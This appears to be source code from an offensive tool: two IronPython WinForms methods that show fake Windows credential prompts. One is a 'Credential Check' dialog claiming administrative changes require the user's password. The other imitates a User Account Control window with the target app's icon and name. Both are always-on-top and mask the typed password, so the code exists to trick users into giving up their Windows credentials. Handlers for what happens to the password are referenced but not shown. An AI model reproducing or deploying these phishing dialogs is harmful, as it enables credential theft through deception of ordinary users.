def popup(self): self.form = Form() self.form.Text = "Credential Check" self.form.MaximizeBox = False self.form.MinimizeBox = False self.form.Width = 300 self.form.Height = 180 self.form.Icon = Icon.ExtractAssociatedIcon(self.path) or None self.form.StartPosition = FormStartPosition.CenterScreen self.form.FormBorderStyle = FormBorderStyle.FixedDialog self.form.TopMost = True self.valButton = Button() self.valButton.Text = "OK" self.valButton.Location = Point(70, 110) self.valButton.Click += EventHandler(self.SubmitHandler) self.canButton = Button() self.canButton.Text = "Cancel" self.canButton.Location = Point(150, 110) self.canButton.Click += EventHandler(self.CancelButtonHandler) self.tbox = Label() self.tbox.Text = "Recent system administrative changes require Windows credentials to access {0}. \nThis security check is only required once.\n\nEnter your Windows password for validation:".format(self.name) self.tbox.Location = Point(10, 10) self.tbox.Width = 280 self.tbox.Height = 100 self.tbox.Font = Font("Arial", 8, FontStyle.Bold) self.inpBox = TextBox() self.inpBox.AcceptsReturn = True self.inpBox.Location = Point(13, 80) self.inpBox.Width = 250 self.inpBox.UseSystemPasswordChar = True self.form.AcceptButton = self.valButton self.form.CancelButton = self.canButton self.form.Controls.Add(self.valButton) self.form.Controls.Add(self.canButton) self.form.Controls.Add(self.inpBox) self.form.Controls.Add(self.tbox) self.form.ActiveControl = self.tbox self.form.FormClosing += FormClosingEventHandler(self.CancelHandler) self.form.ShowDialog()
def popup(self): self.form = Form() self.form.Text = " User Account Control" self.form.MaximizeBox = False self.form.MinimizeBox = False self.form.Width = 430 self.form.Height = 270 self.form.Icon = None self.form.StartPosition = FormStartPosition.CenterScreen self.form.FormBorderStyle = FormBorderStyle.FixedDialog self.form.TopMost = True self.form.BackColor = ColorTranslator.FromHtml("#E6E6E6") self.tbox = Label() self.tbox.Text = " Do you want to allow this app to make\n changes to your device?" self.tbox.Location = Point(0, 0) self.tbox.Width = self.form.Width self.tbox.Height = 60 self.tbox.Font = Font("Segoe UI", 13) self.tbox.BackColor = ColorTranslator.FromHtml("#2D89EF") self.pb = PictureBox() self.pb.Parent = self.form self.pb.Size = Size(50, 40) self.pb.Location = Point(13, 80) self.pb.Image = Icon.ExtractAssociatedIcon(self.path).ToBitmap() self.namebox = Label() self.namebox.Text = " {} for Windows".format( str(self.name).replace('.exe', '').capitalize()) self.namebox.Location = Point(55, 82) self.namebox.Width = self.form.Width - 60 self.namebox.Height = 30 self.namebox.Font = Font("Segoe UI", 13) self.please = Label() self.please.Text = " Please, confirm your Password to continue:" self.please.Location = Point(7, 125) self.please.Width = self.form.Width - 60 self.please.Height = 30 self.please.Font = Font("Segoe UI", 12) self.inpBox = TextBox() self.inpBox.AcceptsReturn = True self.inpBox.Location = Point(13, 155) self.inpBox.Font = Font("Segoe UI", 10) self.inpBox.AutoSize = False self.inpBox.Size = Size(380, 25) self.inpBox.UseSystemPasswordChar = True self.inpBox.BorderStyle = BorderStyle.FixedSingle self.valButton = Button() self.valButton.BackColor = ColorTranslator.FromHtml("#CCCCCC") self.valButton.Text = "Confirm" self.valButton.Size = Size(190, 27) self.valButton.Location = Point(13, 190) self.valButton.FlatStyle = FlatStyle.Flat self.valButton.Font = Font("Segoe UI", 10) self.valButton.Click += EventHandler(self.SubmitHandler) self.canButton = Button() self.canButton.BackColor = ColorTranslator.FromHtml("#CCCCCC") self.canButton.Text = "Cancel" self.canButton.Size = Size(190, 27) self.canButton.FlatStyle = FlatStyle.Flat self.canButton.Location = Point(204, 190) self.canButton.Font = Font("Segoe UI", 10) self.canButton.Click += EventHandler(self.CancelButtonHandler) self.form.AcceptButton = self.valButton self.form.CancelButton = self.canButton self.form.Controls.Add(self.please) self.form.Controls.Add(self.pb) self.form.Controls.Add(self.valButton) self.form.Controls.Add(self.canButton) self.form.Controls.Add(self.inpBox) self.form.Controls.Add(self.tbox) self.form.Controls.Add(self.namebox) self.form.ActiveControl = self.tbox self.form.FormClosing += FormClosingEventHandler(self.CancelHandler) self.form.ShowDialog()